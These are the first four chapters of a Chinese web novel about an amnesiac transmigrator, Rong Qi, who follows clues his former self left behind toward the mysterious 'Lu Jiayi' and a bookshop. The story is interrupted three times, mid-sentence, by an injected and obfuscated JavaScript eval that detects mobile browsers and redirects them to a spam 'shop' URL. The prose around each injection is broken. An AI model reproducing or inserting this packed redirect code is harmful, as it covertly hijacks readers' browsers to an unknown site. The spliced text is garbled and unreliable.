《当我成为非凡记录官后》 1. 新世界? 炎炎夏日,阳光猛烈,仿佛流金铄石。 容栖躺在凉爽的病房里侧头望着窗外,倒是颇为安宁。 “咔嚓——” 可惜,这份安宁并不长久,容栖暗自叹了口气,转过头看向来人。 从他醒来被告知自己失了个大忆,过去十几年忘了个一干二净。到现在,先后见了忧心忡忡的陌生父母,以及看起来很靠谱但也很陌生的亲大哥。 在一通旁敲侧击外加礼貌微笑应付了失落的父母和老大哥后,感谢万能的搜索引擎,容栖基本可以确定自己眼睛一睁一闭,快速且无痛的实现了穿越异世界这个不切实际的目标。 而现在进来的这人,是他要应付的第三波,不过来者的身份,容栖大概也猜到了。 “白洛?” 来人抬头,露出一张分外年轻的面容,双眼明亮有神,闻言笑着迎上容栖的视线。 “哟,容小七,我这张帅脸就这么让你念念不忘吗,说好的失忆呢?” “那倒没有,只是之前我父母老是提起你,好像我们俩关系不错的样子。”容栖耸耸肩,接着道,“放心吧,我现在是平等的记不起每一个人。” 不过那不太熟悉的父母原话是—— “要不是白洛那小子提醒,我们还不知道你出了这么大的事!” “小七啊,你跟小白玩儿得再好也不能这么久不着家啊,你看这不就出事了!” 从老两口儿的说法来看,毫无疑问,白洛才是第一个知道“容栖”失忆的人,甚至“容栖”失忆之前似乎也一直和白洛待在一起。他虽然确定自己已经不是原来的“容栖”了,也难免对这个可疑人物格外留意。 白洛听他这么说显得有些意外,快步走过来拉开椅子坐下,手一伸随便摸了个水果,“我听说你失忆忘了挺多来着,智商竟然没下降到幼儿园水平吗?还这么牙尖嘴利的,不科学啊。” “我是失忆,又不是失智!” 科学你大爷!小爷可是时空系魔法大师,会穿越的那种,说出来吓死你哦! “你来看望病人就这么两手空空的来?花篮呢?果篮呢?还吃我苹果,多冒昧啊你!” “唔”白洛咽下嘴里的苹果,理直气壮地反驳,“看你这也不像是有什么大病的样子,顶多脑子有点抽抽,小问题!” 容栖懒得听他这假医生在这里大放厥词,正打算问问他自个儿失忆的事,突然就有那么一种说不清道不明的危机感,忍不住后颈一凉。 果不其然,只见白洛那厮把手里的半个苹果随手一放,十分不客气地上手就掀容栖的被子,“什么花篮、果篮的等给你上坟再送也不迟,反正医院也治不了你,你这自作主张的孤胆英雄还是趁早出院吧,省得浪费资源!” 不是、你不是来看望病人的吗?!容栖被这神一样的转折惊得一时说不出话,眼睁睁看着攥不住的被角从自己手里溜走,眼前一花,跟个破布娃娃似得被白洛一拎、一甩,以一种不顾病人死活的姿势扛起来。 容栖这才惊觉白洛这小子一身看不见的腱子肉呢,扛着他这么一个活生生的大男人,一步步却走的稳当,坚硬的肩膀顶的他肚子隐隐作痛。 不知道他俩是有什么深仇大恨,白洛跟怕他跑了似得死死摁住容栖,也不管容栖扑腾得像条进了油锅的鱼,自顾自走出了一往无前的气势。 “我说……您有什么仇……呃什么怨,直接说行、行不?!’” 白洛不理他。 “我、我病患呢大哥!!!” 容栖心头火起又无可奈何,只能狠狠捶两下手下硬邦邦的后背,后悔早上光顾着震惊了,这时候肚内空空,想吐都吐不出来。 手续办的很快,让容栖有点意外的是,容家夫妇虽然嘴上嫌弃,但显然很信任白洛,一个电话过去,容栖连话都没来得及说就已经“被迫”出院了。 你们!简直让我寒心! 容栖在心里呐喊,面上倒是冷静。这么一会儿功夫,他也回过味儿来了,白洛这家伙一开始就是憋着气儿来的吧,上来还跟他搁这儿笑里藏刀呢。结果被容栖那么不轻不重地一激,立马就怒火中烧了。 容栖默默揉肚子,觉得自个儿比窦娥还冤,你有气找原主撒去,跟他一个失忆的病患较什么劲?!他自己都还一头雾水、糊里糊涂呢。 俩人出医院的时候,日头正高,容栖抬手挡了一下晃眼的太阳,叫了一声走在前面的白洛,“然后呢,出院了,你要带我去哪儿啊?我现在可是真真的东南西北哪条道都不认识!” 白洛听着容栖着心平气和的口气,哼笑道:“去哪儿?去找能治你的人。” 说着他转过身,抬手递给容栖一样东西,示意他接住。 “还有,你跟我说话可别您啊您的,跟我阴阳怪气的,我可憋不住火气。” 容栖接过来一看,是墨镜。他顺手戴上,忍不住犯嘀咕,奇了怪了,白洛是背后长眼睛了吗,他正嫌这太阳过于毒辣,晃得人睁不开眼。 白洛像是真有那么点邪乎,一眼看出他在想什么,竖起一根手指在他面前比划,笑得比天上的太阳还晃眼。 “别琢磨了老容,我可比你想象的还要了解你,尤其是现在的你。” 白洛用食指点了点容栖的墨镜腿,老神在在道:“你呢,不耐晒,夏天出门总喜欢带上墨镜,怪矫情的。” 说着,他又竖起第二根手指,“还有啊,一生气说话就喜欢用敬称,半阴不阳地刺人,听起来真让人火大。” 说罢,白洛放下手搭在容栖肩上,只凑近了去定定地看着容栖,像是能穿透黑漆漆的墨镜,直视那双对他而言分外熟悉的眼睛。 “以及,我现在相信你是真的失忆了,而且忘得很干净。” 不然的话,以他那个暴力扛麻袋的法子把人带走,失忆前的容栖怎么也得给他来两下,再不济也是个两败俱伤。现在这样,必然是过往的本事忘得一干二净,乖得像个假人。 “什么意思?”容栖一巴掌挥开肩上那死沉死沉的手,总感觉白洛说的不是什么好话。 但是,白洛说的这些习惯,如果确实同时存在于他和“容栖”身上,那这就有点奇怪了。 白洛大概是觉得自己的发言成功震住了记忆清空的容少爷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195033|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像只斗胜的公鸡般昂首阔步,大手一挥示意容栖跟上,“走吧老容,咱们去找回你失落的记忆!” 白洛说是要去找治病的神医,人倒是火急火燎的让他给扛出来了,奈何时间不赶巧,五脏庙内锣鼓喧天,正是饭点。 俩人火速达成一致,就近找了个餐馆,天大地大,吃饭最大。 “吃点什么?菜单挺丰富的。”白洛翻着菜单,头也没抬地随口问。 他问得随便,容栖答得比他更敷衍。 “随便,你看着点。” 白洛这才抬头瞅他一眼,“哦对,忘了你还有个失忆伤残人设。” 容栖翻了个白眼。 虽然这个陌生的新世界一堆不认识的人名地名,但万幸跟原来的时代背景差不多,至少没有让人难以理解的异世界“美食”,容栖这一顿饭吃的还算愉快。 酒足饭饱,容栖不急着去治自己这莫名其妙的“失忆”,摆出一副公堂会审的架势。 “白洛,有些事没搞清楚,我不能跟你走。” 说到底,不管白洛看起来和他有多熟,现在的容栖对他可没有一点印象。 白洛:“了解,你有什么想问的,问吧。” 容栖:“行,你愿意配合的话最好不过了。” “第一个问题,”容栖伸手在两人间划拉,露出一副困惑的表情,“咱俩,什么关系?” “父子,端茶倒水、揉肩捶腿的父子关系,”白洛强调,“当然,我是父。” 容栖:“孙子!好好说话。” 白洛:“得,还能啥关系,发小呗,从小穿一条裤子长大的好哥们儿!” 容栖点头,“第二个问题,我在医院这事儿,是你打电话通知我爸妈的,你送我去医院的?你怎么知道我失忆了?我妈说我失忆之前一直和你待在一块,到底发生了什么?” 容栖这人好奇心一向重,虽然他不是原主吧,但现在这个情况不搞清楚故事背景,他这个接盘侠也着实难受。索性一骨碌把肚子里的问号倒出来。 然而白洛两手一摊,“不是。” “不知道” “不清楚” “不了解” 容栖:你看我信吗?! 容栖瞪他,“还能不能好好交流了?!” “我就知道你不信,”白洛还挺委屈,“我倒是也想知道怎么回事,几天不见你还能把自己给弄脑残了呢?!” “让你每次都自己在外边浪,不带上我,看这不就翻车了!” 白洛半真半假的抱怨,从包里摸出一张纸条递给容栖。 “一周前,高考一结束就没见着你人了,这纸条是最后一次见的时候你给我的。哦,还说下次见面的时候交给你。” “前几天阿姨打电话问我你去哪儿了,我总不能说你一个人儿跑外边野去了吧?!” “本来这也不是什么大事,我俩互相打掩护也不是一次两次了,不过,”白洛隔空用手指点点容栖的脑袋,“后来发现怎么也联系不上你,我只能跑你家去蹲你了。” 容栖展开纸条,看着上面的内容若有所思。 2. 发小 “也就是说,你也不知道我失踪的时候去了哪儿。”容栖摩挲着手里的纸条,垂眸看不清神色,“还有,我家?我家不是有我爸妈吗?” “不是,是你在宁川一中旁边的小公寓,就你一个人住那里。”白洛摇头,“我也是昨天去蹲你的时候,正巧在门口捡到你,看着没什么伤的样子,就是怎么都叫不醒。” “原来如此。” 白洛笑,“怎么样,这下信我了?” 容栖挑眉,屈指弹了弹手里的纸,“信,不过不是信你,是信它。” 大亮的天光清晰地照出纸上龙飞凤舞的一行字: “白洛可信,让他帮你!” 此外,“路葭易”三个字不标不准的躺在正中间,让人难辨其意。字下方有一圈银色的繁复花纹,在阳光下闪闪发光。 白洛浮夸地捂住心脏,“扎心了,我还不如一张破纸条子可信吗?!什么塑料兄弟情!” “少来,装什么大尾巴狼呢!”容栖指着纸条上的折痕,觉得白洛不是在鄙视他就是在敷衍他,“这纸原来不是这样的吧?” 纸张折痕很深,明显翻看过很多次了。边缘一角甚至皱巴巴的,不难想象白洛对它做了什么。 “哈哈,原本还有一层信封,今天出门急,忘带了。”白洛还反过来倒打一耙,“某些人消息不回,电话不接,我不得拆拆看有什么锦囊妙计喽!” “再说了,老容,这东西是你交给我的,从结果上来说,也就是你想让我看。” 容栖觉得白洛在强词夺理,不过,“那我猜,这上面一定有什么线索是给你而不是给我的,对吧?” 容栖将纸条摆在二人中间,手指点在那一行“路葭易”上。 白洛的目光随之落在纸上,心道,果然啊老容,都在你计划中是吧? 还真不愧是你啊。 两人出了饭馆,白洛给了容栖一个地址,说是在宁川这个地界,能查到的跟“路葭易”这个名字有关的线索只有这一个地方。 “要不你还是等我明天和你一起去吧,”白洛把地址给出去后反而一脸纠结起来,“我今天得回老宅一趟,老爷子有急召。” “嗯?急召?那你之前还说带我去看什么神医。” 白洛无奈,“是啊,神医就是白老爷子啊。” 反正容栖的毛病多半跟科学不沾边,他看到那纸上留下的“路葭易”之后就十分确定了,带回去让老爷子这种玄门高手看看说不定还有救。 容栖还没意识到问题的严重性,觉得虽然少了个帮手,但自己一个人问题也不大。拍拍白洛的肩膀,语气轻松,“既然你们家老爷子找你有急事,那我先自己去看看情况吧。” 他还郑重地抬起墨镜,试图让白洛看清楚自己眼里的认真。 “总之,我今天要是不去一趟,估计晚上都睡不着了。” 这倒不是假话,容栖现在的确对这个“路葭易”的兴趣极大,按他的猜想,这人估计和他有莫大的渊源。 白洛还是妥协了,“行,你自己小心,今天就在外面查看一下,其他的等我明天回来再说。” “我尽量快去快回,你就先别回家了,先到公寓住几天吧,我明天去那找你。” 说完,白洛想起容栖现在勉强算半个脑残玩意儿,又让他记下公寓地址,提醒他钥匙在门口花盆里。 白洛:“记住啊,你今天就在外面转转,千万别进去,指不定有什么埋伏呢!” 容栖点头如捣蒜:“好好好!” 白洛:“完事儿了也别到处乱跑啊,记得接我电话,到家给我报平安!” 容栖:“好好好!” 白洛:“吃饭记得点外卖,我到之前谁来也别开门啊!” 容栖:“好好、不是,白洛你有完没完?!” “哈哈哈——”白洛绷不住了,一把搂过容栖,顺手揉两把狗头,“你现在这样也太乖了吧老容哈哈哈!” 容栖一把推开得意忘形的白洛,“撒手!快滚回去应召吧你个白老妈子!车都来了!” 白洛摆手,“我先走了,为你的小命着想,记住我跟你说的!” “放心吧,记忆虽然清空,智慧却异于常人,我可是……” “噗、名侦探容小七是吧哈哈哈!”白洛打断容栖的自信发言,一脸扭曲的笑意。 容栖一顿,笑着试探,“哎呀老白,你也爱看柯南啊?” 不过在这个世界,按理来说是没有《名侦探柯南》存在的才对。 “柯南?”白洛脸上是真切的疑惑,“那是什么?” “我小时候有个朋友,玩游戏的时候总喜欢拿这句话来唬我,”白洛冲他挤挤眼,“不过他的原话是‘身体虽然变小,智慧却异于常人,名侦探……’” “...容小七” 容栖表情空白的抢答,感觉脑子一抽抽的疼。 白洛:“正解!” 看着容栖脑子宕机的模样,白洛愉快地吹了声口哨,转身离开。 “丫的白洛,你大爷的!!!” 远远的听到容栖破防的喊声,白洛那叫一个身心舒畅。 没办法,容小七,你先骗我的。 如今不过是,天道好轮回嘛。 白洛刚上车,旁边就扑上来一道人影。 “别闹!”白洛带着未消的笑意骂道,一爪子稳准狠地糊在弟弟脸上。 白家老宅不在市区,平日里白洛也不常回去,唯有他爷爷白奎乐意常年待在老宅,还时常招呼家中小辈回老宅,说那才叫一个沉浸式修炼。 白洛对老爷子窝在老宅一天天听歌追剧的修炼论不置可否,反正他带着弟弟白乐宁在城里过得挺自在。 “哥,好久没见容哥哥了,干嘛不叫他一起,我刚刚都看见他了。”白乐宁被他哥习惯性的暴力撕下来,还扯着脖子往后看。 “你容哥遇到点麻烦事,这次就算了。”白洛把他脑袋掰过来。 白乐宁睁着双清澈的大眼睛看他,“我知道啊,可哥你昨天不是说,我们要趁此机会,趁人之危、趁虚而入、趁火打劫,一举把容哥扒干净吗?” 前面开车的陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195034|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正宇:“咳、咳咳” 白洛嘴角一抽,刚放下的手又抬起来,“陈叔你别听他胡说,我说的明明是把他的底细扒干净,把他那些个藏着掖着的小秘密都给挖出来!” “反正意思都差不多啦,”白乐宁满不在乎地撇嘴,“错过这次机会,哥你又要一个人生闷气喽。” 白洛扬唇,嘚瑟的伸出食指左右摆动,“NoNoNo,小乐宁,你哥我想知道的呢,已经从现在这个傻白甜的老容嘴里套出来了。至于其它的小秘密嘛,我等他以后自己告诉我。” 白乐宁用看智障的眼神看着他哥,“傻白甜?哥,你是在说你自己吗?” “……呵,白乐宁,我发现你这个大眼灯看着真的很讨人嫌啊!” 话不多说,白洛开始撸袖子,日常进行对欧豆豆的“爱的教育”。 “嗷——我错了哥!!!” “对了陈叔,稍微开快点吧,我得抓紧时间快去快回。” “好的,我明白了。” “哥、哥你放手啊——” 白洛一开始的确是打算带容栖回一趟老宅的,不仅仅是正巧今天老爷子急召,他很早就想这么干了。 因为白家老爷子是玄门有名的高手,圈里人都知道的那种。白洛相信,容栖这小子在老爷子眼皮子底下晃一圈下来,肯定多少能被看出点门道来。 没错,白洛怀疑容栖也是玄门的人,再不济也一定是知晓玄门存在的非凡圈里的人。要说有什么根据…… 这是他作为一个家学渊源的玄门之人的超绝第六感! 但是这么多年下来,除了八岁那年两人在老宅初见外,容栖竟是再没见过白老爷子。 说不是故意的,鬼才信啊! 总之,白洛反而越来越确定容栖是个扮猪吃老虎的小骗子。 容栖此人,平日里嬉皮笑脸、懒懒散散,在学校里却没少惹事,只是这人脑子好使,遇事总是游刃有余的,身手也不错,把宁川一中的大小中二少年们收拾的服服帖帖。 白洛很好奇容栖的路数,但当他怀着好兄弟就要坦诚相见的美好期待去找容栖摊牌时,却遭到了接二连三的打击。 比如, 白洛:“老容!我告诉你一个大秘密!你知道玄门吧,我就是玄门的人!还有我知道你也……” 容栖:“什么门?老白你最近又追什么电视剧了,玩cosplay吗?” 再比如, 白洛:“老容你坦白告诉我,你到底修的啥?我先说,我是……” 容栖:“嗯?咱俩不是一样的吗?说好的一起选物化生来着?!” 以上对话,在不同时间、不同地点、以不同形式发生过数十次。白洛都要自暴自弃了,但他百思不得其解,容栖到底为什么一直不承认自己身份,还总是岔开话题,顾左右而言他。 都是圈里人有什么不能说的,更何况他俩还是从小一起长大的发小! 容栖是个滑不溜手的泥鳅,软硬不吃。偏偏白洛也是个顽固不化的臭石头,一身的反骨就用来跟他杠上了。 3. 6+1 既然说话是说不通了,白洛就决定抓个现行,这样的话,想来容栖也不能再否认了。 可惜最近两年,容栖越来越神出鬼没,基本上只能在学校白洛才能跟他碰面,而且俩人不是一个班,碰面也少。连人都找不着,这让白洛的计划还没开始就胎死腹中。 直到这一次,容栖自己把那封信递到他手上,然后,急着找人的白洛在某一个下午打开了它。 “路葭易”——这是一个人的代号,也或许是一个组织的名称。 这不重要,重要的是,这是一个从五年前开始在非凡圈里声名鹊起的名字。 白洛查不到容栖和这个名字更多的联系,但他很清楚这个名字在玄门的分量。 本来嘛,玄门百家,更看重的一直是各自的底蕴。哪怕现如今玄门衰落,天赋异禀的神念者后来居上,仍然有很多保守的老顽固端坐高堂,对其不屑一顾。 但是“路葭易”不一样。没有人知道他是师出哪门哪派,也不确定他是否是神念者的一员。 只知道他神秘强大,但有问必答。 听起来像个有诚信的商人,事实也的确如此。 五年前,路葭易第一次出现就是在宁川。 据说是玄门云家出了个本事很大的叛徒,伤了云家数十人之后出逃。 云家出了大价钱悬赏,势必不能让这个云家败类在外兴风作浪,奈何时日渐久,却没有半点消息。 之后宁川玄鉴司毫无征兆地查封了城外一处工厂,云家也突然派人来了一趟宁川。 其中细节本无人知晓,只知道云家这事儿算了了。 谁知道数日后,云家传出消息,叛徒云生是被宁川一个叫路葭易的人给抓住的,之后才传话让云家来人将其押回。 这还没完,官家的玄鉴司也来掺一脚。称也是路葭易传了消息,让他们及时阻止了一场天大的祸事。 白洛当时只觉得这云家和玄鉴司忒不地道,人家好心帮你,你却反手将其送上了风口浪尖。对此,白老爷子摸着胡子一笑,说你小子还是太天真! 白洛不明所以,张牙舞爪地扑上去扯他爷爷的胡子。 总之,借着二者的东风,这横空出世的路葭易算是彻底出了名。 然而其人野心远不止于此,紧接着在江湖上放出狂言,宣称自己有天授之能,通晓万物,技通阴阳,愿为天下人解惑。 凡有所求者,必有回应。 这下热闹了,上门踢馆的、看热闹的、想要一探虚实的……大大小小的玄术师神念者一窝蜂涌到宁川这个小地方,掘地三尺也势必要挖出这个狂妄小儿。 真正见到路葭易的人并不多,但他那句话的含金量却不断在增加。 凡有所求者,皆有回应。 事实如此。 五年来,路葭易一直行踪成谜,但没有人再怀疑他的能力了。 于是玄术师论坛里常年飘着路葭易的寻人贴,满屏的求大师解惑。 要白洛说,这人不过是个狂妄至极的情报贩子,大概是有什么相关的神念能力,习得了个晓天下的神通。 在这之前他从没关注过这个人。 但容栖和他有关系。 这么多人对路葭易求见而不得,容栖怎么敢肯定他白洛能查出个子丑寅卯呢? 还有那个异常的态度,明明记忆都被格式化了不是吗? 玄门之中,他就这么值得你信任? 白洛看着窗外飞速后撤的建筑心想,容栖、路葭易,怪有意思的。 白乐宁在一旁睡得正香,歪在座椅上打起了幸福的小呼噜。 白洛收回视线,拿起手机,屏幕的白光映在他眼里。他在搜索引擎里打出几个字——名侦探柯南是谁? 网络流畅,小菊花转得飞快。 白洛盯着搜索结果看了有五分钟,忍不住长叹一口气,容栖啊容栖,真真假假,假假真真,你这说话的方式真的很欠揍知道吗? 宽阔的柏油路上车流如注,低调的黑色轿车载着白洛和他乱七八糟的思绪一骑绝尘。 另一边 “小帅哥!寰北大道,就送你到这儿啦!” “诶好!”容栖动作迅速的扫码付钱,“谢谢司机师傅!” 下车之后,迎面而来的是宁川夏季的滚滚热浪,容栖眯了眯眼,把白洛给他的墨镜戴上,左右环顾一周,忍不住发表评论: “寰北大道,七号书屋。” “名字挺好,就是看着有点寒碜啊。” 容栖抖抖手里的纸条,背面写着白洛给他留的地址,正面则是前任“容栖”留下的“白洛使用说明”和下面显眼的“路葭易”三个大字。 容栖手指抚过阳光下夺目的银色花纹,看向面前稍显寥落的街道,意味不明地笑道:“路葭易是吧,让我来会会你。” 寰北大道处于新老城区的交界处,两排半新不旧的建筑陈列在街道两旁。 正是午休时间,街上门庭寥落,零散的几个人影也行色匆匆,忙于躲避午间直射的炽阳。 容栖抹了把汗,非常理解他们,才这么一会儿,他已经感觉裸露在外的皮肤被晒得火辣辣的了。 尽管如此,他还是耐着性子保持着一种不快不慢的速度晃过街边的每一家店铺。 一条大道走到底,他总算遥遥望见了“七号书屋”的招牌。 容栖不急着靠近,在路边找了家便利店买水,结账的功夫,一瓶子矿泉水几乎见底。 容栖畅快的呼一口气,掀开门帘仔细打量七号书屋周边。 很好,街上行人已经走光了,左右也没几间店铺,而这个时间…… 容栖一扬手,哐当一声水瓶应声掉进垃圾桶。 容栖头也没回,径直朝着七号书屋走去。 不过他的目标不是七号书屋,而是对面的一家小茶楼。 寰北大道的店铺都是清一色的仿古设计,但大多只有一楼的店面,唯有这家茶楼占据了一二两层。 况且位置还刚好在七号书屋对面,不管是监视还是保护都是首选。 容栖在心里列出了个茶楼除喝茶以外的其他用法一二三,待走近了才发现这茶楼还有个颇为雅致的名字——云中阁。 云中近代称名郡,楼阁风烟亦可观。 倒是个好名字。 容栖在心里赞了一句,迈步走入搂中。 楼里温度适宜,柜台后边置一躺椅,穿着麻布衬衣的男子仰卧其上,好不惬意。 容栖环视一周,发现除这人以外,楼内竟空无一人。 起起伏伏的呼吸声规律且绵长,道德素养在线的容栖同学实在做不出叫人起来重睡这种损人不利己的事,从善如流地找了张靠窗的桌子,给自己倒了杯冷茶。 窗户斜对角就是七号书屋的招牌,旁边一个鲜红的灯笼轻轻摇晃着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195035|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 容栖盯着灯笼看了会儿,突然拿出手机拍了张照。 当然不是记录艺术感灯笼随风摇曳。 容栖掏出白洛给他的纸条,和屏幕上刚拍下的照片一对比。 果然,红灯笼是普通的红灯笼,只是灯笼上用金粉画的不是传统的“福”字。 取而代之的,是圆形的双层外框,中间由凌乱但笔直的线条拼凑出一个隐隐约约的“V”。 容栖把纸条和手机并排放在一起,灯笼上的图案,和画在路葭易名字下方的图腾一模一样。 但容栖对此并不意外。 指尖轻轻敲击手里的茶杯,容栖慢悠悠地喝了口茶润喉。 事实上,容栖醒来后第一次见到这个图腾还要在更早的时候,在得到纸条之前。 放下茶杯,容栖拿起手机,退出拍照界面后,可以看见屏幕上排列整齐的一个个软件。 角落里有一个暗蓝色的不知名APP,仅仅只有一个图标,多余的信息半点没有。 但那个图标上,也有一个一模一样的银色图腾。 而这个图腾,容栖不仅认识,还很熟悉。 容栖上辈子最叛逆的时候是个重度网瘾少年,在当时最热门的游戏里自己亲手设计了这个图腾作为标志。 还未完工就惨遭父母腰斩。 后来容栖渐渐不玩游戏了,但这个游戏时期的图腾他一直保留着,在三次元里手绘过很多次,把当年那个半成品一点点完善。 他还信誓旦旦地跟自家老父亲说要把这个图腾做成logo,以后就是他容栖行走江湖的标识了! 可惜一朝穿越,可谓创业未半而中道崩殂了。 这个世界,没有第二个人知晓这个图腾。 这才是白洛凭一张破纸条子取信于他的原因。 容栖一眼就能看出,纸上的图腾是手绘的,一笔一画再熟悉不过了。 他甚至阴谋论地怀疑过会不会有一个让他穿越的幕后黑手,用这张纸作为诱饵让他他自己跳进陷阱。 表面上友善的白洛可能剖开来比谁都黑。 但不得不说,和白洛的一番关于名侦探谁谁谁的拉扯,让容栖豁然开朗。 他有了一个更为大胆的猜测。 接下来,就是验证的时候了。 容栖点击屏幕上那个眼熟的不知名APP,和早上一样,跳出来的是密码界面。 这个软件的应用锁似乎设置的是特殊密码,只有三个空格。 上一次容栖自认是外来的穿越者,完全没想过去试着打开它。但现在不一样了,他可以肯定这玩意和自己有关,密码已经很明显了。 容栖咧嘴一笑,“哈,还真是有意思。” 一模一样的图腾, 七号书屋, 路葭易。 一再提醒,生怕他解不开似的。 “路、葭、易,”容栖一字一顿的念道,“说实话,这名字一点也不好听。” 他手指轻点,毫不犹豫地填上三个空格。 “嘀~” 密码正确,手机传出解锁成功的清脆响声。 “6 + 1,”容栖眉眼漾着笑意,语调轻快,“谐音梗扣分!” 容栖前世沉迷游戏那几年只有一个游戏ID,退游之后也一直沿用了下来,各个社交平台都是同一个昵称——Seven。 也就是,6 + 1。 4. 漫画 容栖打开不知名APP后,又陷入了新一轮的迷惑。 软件界面过分简洁,但这似乎还是个漫画软件? 漫画嘛,容栖当然也看过,还看过不少。只是这层层加密的谜底竟然是本漫画,多少有些令人摸不着头脑。 莫非这只是前菜,还有别的线索藏在这漫画里? 又或许,它本身的价值已经称得上隐秘? 容栖脑洞大开,说不定点进去会看到他的“前世”? 嗯,这样的话对他大概只能起到一个备忘录的作用。容栖失笑,显然,这一点对失忆前的容栖也是一样的。 从他醒来开始就一直在被人牵着鼻子走,必然是有人刻意安排的。 陌生的世界里突然出现熟悉的图腾,以容栖的性格,自然会一查到底。 做局的人对容栖十分熟悉,显然也包括他的性格和来历。 那个人,是我自己。 容栖手指移动,停留在漫画封面上方。 失忆前的容栖做了这一系列的布置,隐晦而大胆的给自己留下提示。 只是如此曲折地留下信息,目的是什么?原因又是什么? 这一切都还不得而知。 漫画的封面不同寻常,没有名字、没有人物,只一幅画风写实的高空俯瞰图。 图上有九个发着金光的点,中央的点金芒最盛,但其中掺杂丝丝缕缕的黑线,颜色反而驳杂。 而余下八个点坐落在其八方之位,相互间以金线勾连衔接,层层叠叠,甚为复杂。 这是八卦变阵? 脑内突然冒出的想法让容栖一愣,什么东西?八卦变阵? 我?还懂八卦? 我怎么不知道! 再看,果不其然,容栖只能隐约辨认八个金点大致分布在中间那金点的东西南北八个方位。更别说有山峦起伏,地势遮掩,反正跟八卦是越看越不像! “还八卦,楼下老太太的八卦我倒是知道不少!” 显然,不论之前的容栖懂不懂八卦变阵,现在的容栖是只有前世记忆的容栖,对超现实的印象还停留在江湖骗术的常用道具上。 容栖再多也琢磨不出个一二三来,索性先看看这四不像的漫画到底在画些什么。 不看不知道,原来所谓的“八卦图”不是封面,而是这漫画的第一页。 也并没有什么封面,只不过它恰好在第一页罢了。 说是漫画,其实称为一堆画工出彩,篇幅过长的草稿更为恰当。 当真是四不像,容栖眉头一皱,越往下看,漫画的内容越混乱。 紧跟在八卦图后面的内容并不与其相关: 西装革履、眉目严肃的中年男人抬手敬礼; 英姿飒爽的提刀侠客潇洒一扬手; 眉眼清丽的白衣女子神色坚定,掩门离去; 穿着长衫的书生临江而立,极目远眺; 目蕴精光,却一身褴褛的落拓老人穿山入林,仰天大笑; …… 双目猩红的男子身缠黑气,一步步走远。 形形色色,或老或少的人们短暂出现在画面上,匆匆一现身又意味不明地隐没。 “啪” 容栖忍不住反手将手机扣在桌上,拍了拍胸口。 很奇怪,明明只是一些难解其义的零碎片段,后面的画面也只是纸面上的人物,远不如封面那样写实。 这些人的一撇一笑却无端让人喘不过气。 那种悲凉的气氛、惨淡的笑意、寂寥的身影…… 无一不在暗示,他们虽然笑着,却即将赴死。 容栖不知道他们赴死的理由,但透纸而来的悲风凄雨般的气场已然要将他淹没。 缓了好一会儿,接着往下看,内容却毫无征兆地一变。 婴儿躺在摇篮里不哭不闹的画面一闪而过。 像是一次性跳过了大片章节的悬疑小说,让人有种跟不上剧情的不适从。 出现的人物愈加繁多,情节似乎也不太连贯,说不清时间,也看不清地点。 这漫画要是发出去,绝对会被喷的惨绝人寰。容栖心想,反正他这唯一一个读者表示体验感极差! 而且这漫画出奇的长,不开玩笑,容栖感觉自己手指抽筋都拉不到底。 他索性停下来,试图从另一个角度梳理思绪。 至今为止,“容栖”之前布置的一切行动指向性都很明显。 白洛是他给自己找的帮手,或者说打手,看起来很能打的样子。也是他给自己上的保险栓,有白洛在,他迟早能找到七号书屋、陆葭易和自己之间的联系。 那么这本漫画的出现,一定也有其用意。 自己失忆后会第一时间注意到手机上的不知名app,再弯弯绕绕地猜出密码,这漫画里是藏着什么他必须知道的信息? 而且,必然是在想通陆葭易和容栖就是一个人之后,踏入七号书屋之前,就需要他知道的信息。 容栖看了一眼对面的七号书屋,在心里补充道。 既然如此,他又一次点开漫画,花了点时间好不容易才在左侧的犄角旮旯里找到漫画应有的目录。 这次,他顾不上手指抽不抽筋的小问题,干脆利落地一拉到底。 果不其然,最后一章的章名直白到晃眼——谜底。 容栖为自己的机智点了个赞,活动了下手指,心情愉悦地点进最后一章。 首先出现在画面上的是熟悉的“七号书屋”,容栖挑眉,接着往下看。 七号书屋的红灯笼在寰北大道的夜里亮得很显眼,明亮的光穿过灯笼表面的图腾,分散成零落的光斑洒在地上。 一身黑衣黑裤的容栖出现在街道上,手里的钥匙串流畅的转了一圈。 虽然是漫画的画法,但熟悉的人仍然能一眼看出那画的就是他。 他手里是七号书屋的钥匙。 穿的像个贼的容栖行动上倒是挺光明正大的,只见他毫不遮掩,悠悠闲闲地开门进去。 他没有开灯,人影在屋内显得有一点模糊。 绕过几个书架,容栖在一张看起来有点旧的柜台面前停下。 光线昏暗,这里更是漆黑一片。 “巫杭” 他对着空无一人的空气轻声喊道。 屏幕外的容栖颇有几分惊奇地看着人影胸前亮起一团蓝盈盈的光,那是容栖脖子上的吊坠。 好在吊坠里并没有飘 